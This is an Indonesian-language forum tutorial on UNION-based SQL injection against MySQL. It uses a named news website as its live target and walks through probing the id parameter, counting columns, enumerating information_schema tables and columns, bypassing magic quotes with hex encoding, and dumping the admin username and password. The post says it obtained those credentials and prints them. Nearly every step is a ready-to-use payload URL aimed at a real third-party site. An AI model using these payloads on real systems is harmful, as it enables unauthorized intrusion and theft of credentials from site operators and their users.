yang perlu di ketahui sebelum sql injection pada mysql:
comments: /*,--
sering ditemui pada web application: php,dll..
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
langsung saja...
contoh target kita adalah http://www.lampungpost.com...
step 1. mengetahui situs itu vulnerable sql injection atau tidak
*menggunakan tanda petik,or 1=1,etc
bila mengunakan cara diatas tanda petik,or 1=1,dll maka umumnya kita akan mendapatkan pesan error.
http://www.target.com/blabla.php?id=123'
http://www.target.com/blabla.php?id=123 or 1=1
Error Type:
pada php.
Code:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in blah/blah/blah.php on line x
pada asp.Code:
[MySQL][ODBC x.xx Driver][mysqld-x.x.xxx-xxx]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'x' at line x
cara ini tidak efektif untuk php. karna php mempunyai sesuatu yang disebut "sql error handling" yang membuat pesan error tidak akan dimuncul diweb tetapi disimpan didalam logs.
*menggunakan tanda minus,and 1=1,and 1=2,etcbila menggunakan cara ini umumnya kita akan mendapat teks yang menghilang,blank,picture yang tidak bisa terlihat,error (jarang terjadi),etc.
kita ambil url
http://www.lampungpost.com/aktual/berita.php?id=2254
sekarang berikan tanda minus setelah = atau bisa juga -1 biar lebih gampang, bila teks hilang maka vulnerable..

menjadi,
http://www.lampungpost.com/aktual/berita.php?id=-2254
step 2. Blind SQL InjectionBlind SQL Injection adalah dimana kita mendapatkan data tidak melalui pesan error. untuk memahami blind sql injection lebih jauh bisa dilihat di:
http://echo.or.id/forum/viewtopic.php?t=7862bila kamu mengetahui situs tersebut vulnerable melalui tanda petik,or 1=1,etc . maka kamu harus menggunakan tanda minus,and 1=2,etc baru kemudian mengunakan union select dan add number (biasa disebut "column count ") sampai muncul angka pada web tersebut.
contoh melakuan column count :
union select diikuti dengan angka.
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201/*
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2/*
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,/*
ternyata yang keluar sampai angka 9
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9/*
disitu kamu bisa melihat dua angka 9 dan 2
step 3. mengeluarkan table_name
query yang kita gunakan adalah : union select table_name from information_schema.tables where table_schema=database() limit 0,1
masukan "table_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.tables where table_schema=database() limit 0,1"
menjadi,
Code:
hxxp://www.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1/*
kamu juga bisa memasukan table_name ke angka 9 (karna angka yang keluar 9 dan 2)
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,table_name20%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%200,1/*
tapi disini del_caeser mengunakan 2.

untuk mengeluarkan table_name yang lain ganti "limit 0,1"menjadi "limit 1,1";"limit 2,1";"limit 3,1" sampai tidak keluar lagi table_namenya, hanya menambahkan angka didepan limit tapi tidak dibelakang koma. hal itu karna mysql tidak support "not in" tapi limit
table_name kedua
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%201,1/*

table_name ketiga
Code:
hxxp://www.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%202,1/*

disini target kita mencari admin id dan pass..

, dan itu ada di limit 10,1 table_name "user"
Code:
http://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,table_name,3,4,5,6,7,8,920%20FROM%20information_schema.tables%20where%20table_schema=database()%20limit%2010,1/*
step 4. mengeluarkan column_name
query yang kita gunakan adalah : union select column_name from information_schema.columns where table_name='table_name target' limit 0,1
masukan "column_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.columns where table_name='table_name target' limit 0,1"
dalam hal ini table_name target adalah "user"
menjadi,
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,column_name,3,4,5,6,7,8,9%20from%20information_schema.columns%20where%20table_name='user'%20limit%200,1/*
untuk mengeluarkan column_name yang lain ganti "limit 0,1"menjadi "limit 1,1";"limit 2,1";"limit 3,1" sampai tidak keluar lagi column_namenya, hanya menambahkan angka didepan limit tapi tidak dibelakang koma. hal itu karna mysql tidak support "not in" tapi limit
( tidak ada screenshot maqic quote off karna lampungpost.com maqic quote on)
* Filter Inputfilter input adalah untuk mencegah sql injection, salah satunya adalah magic quote gpc (php), magic quote sendiri adalah filter input terhadap tanda kutip dengan menambahkan backslash pada tanda kutip yang diinputkan.
contoh:
Quote:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name='user' limit 0,1/*
perhatikan 'user' kalau maqic quote gpc on:
Quote:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=/'user/' limit 0,1/*
itu merusak query yang kita gunakan, tapi kita bisa bypass dengan ascii mengunakan hexa Decimal atau char.
kamu bisa coba disini
http://www.piclist.com/techref/ascii.htm . untuk hexa desimal, setiap hexa desimal yang dihasilkan didepannya ditambahkan 0x.


column_namenya adalah "userid" dan "password"
step 5. mengeluarkan field
query yang kita gunakan adalah : UNION SELECT column_name FROM table_name
colomn_name :userid, password
table_name :user
masukan column_name pada angka yang keluar (9 dan 2) kemudian FROM table_name
menjadi,
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,password,3,4,5,6,7,8,userid%20from%20user/*

dan kita mendapatkan filednya "berita" unutk "userid" dan "nokia" unutk "password".
* Mengunakan ConcatenationConcatenation adalah kondisi dimana kamu ingin mengeluarkan field dengan banyak colomn_name atau karna kurangnya angka yang keluar saat blind union. untuk string Concatenation pada mysql adalah CONCAT(A,B,C,...)
contoh:
kondisi kurangnya angka yang keluar saat blind union.
column_name : userid, password, description
table_name :user
angka yang keluar: 2 dan 9
bagaimana kita mengeluarkan field dengan 3 column_name sedangkan angka yang keluar hanya 2 (2 dan 9), jawabanya menggunakan concat() tadi.
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,concat(userid,0x3a,password,0x3a,description ),3,4,5,6,7,8,9%20from%20user/*
kamu juga bisa seperti ini,
Code:
hxxp://ww.lampungpost.com/aktual/berita.php?id=-1%20union%20select%201,concat(userid,0x3a,password),3,4,5,6,7,8,description%20from%20user/*
syntax-nya seperti ini concat(column_name,0x3a,column_name,0x3a,column_name,0x3a,..... ) 0x3a artinya :

mohon koreksinya bila ada yang salah..

thanks to : kartu_mati,bius,k1tk4t,xporg,t0pP8uZz,illuz1oN